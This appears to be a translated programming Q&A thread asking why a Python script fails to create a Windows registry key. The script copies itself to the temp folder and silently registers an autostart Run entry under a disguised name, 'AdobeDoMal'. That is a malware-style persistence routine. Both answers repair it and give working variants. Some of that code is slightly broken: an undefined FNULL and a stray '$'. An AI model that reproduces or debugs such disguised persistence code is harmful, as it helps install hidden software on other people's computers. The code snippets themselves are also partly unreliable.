Changing Key in Windows 10 Registry

Question

The code below is giving "Registry error", that is, it does not create the key in the Windows registry. Does anyone have any idea how to resolve?

import socket
import time
import subprocess #Executar comandos do SO
import tempfile  #pegar o tmp do SO
import os #rodar comandos do SO

FILENAME ='ED5.py'
TMPDIR  = tempfile.gettempdir()        #varia de acordo com a versao do windows

def autorun():
    try:
        os.system("copy " + FILENAME + " " + TMPDIR)#se fosse linux, usaria cp em vez de copy
    except:
        print("Erro na copia")

    try:
        ####criar a chave de registro
        FNULL = open(os.devnull, 'w')
        subprocess.Popen("REG ADD HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
                         " /v AdobeDoMal /d " + TMPDIR + "\\" + FILENAME, stdout=FNULL, stderr=FNULL) #key para programas de 64 bits
    except:
        print("Erro no registro")

autorun()

Answer 1

Has two quotes " the most:

subprocess.Popen(
"REG ADD HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
                                                                      ----------^
" /v AdobeDoMal /d " + TEMPDIR + "\\" + FILENAME, stdout=FNULL, stderr=FNULL)
^---------

Leave the line up like this:

subprocess.Popen(
"REG ADD HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ /v AdobeDoMal /d " + TMPDIR + "\\" + FILENAME, stdout=FNULL, stderr=FNULL)

If you prefer to format the string, use the str.format():

import subprocess, tempfile

arquivo = "ED5.py"
tmpDir = tempfile.gettempdir()

programa = "AdobedoMal"
chave = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

linha = "REG ADD {0} /t REG_SZ /v {1} /d {2}\{3}".format(chave, programa, tmpDir, arquivo)

try:
    subprocess.Popen(linha, stdout=FNULL, stderr=FNULL)
except:
    print("Erro no registro")

Answer 2

For me it worked like this:

subprocess.Popen(f"REG ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ /v AdobeDoMal /d {tempdir}\\${filename}", stdout=fnull, stderr=fnull)

because the python is 32 bits it is Automatically redirected to this path:

\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run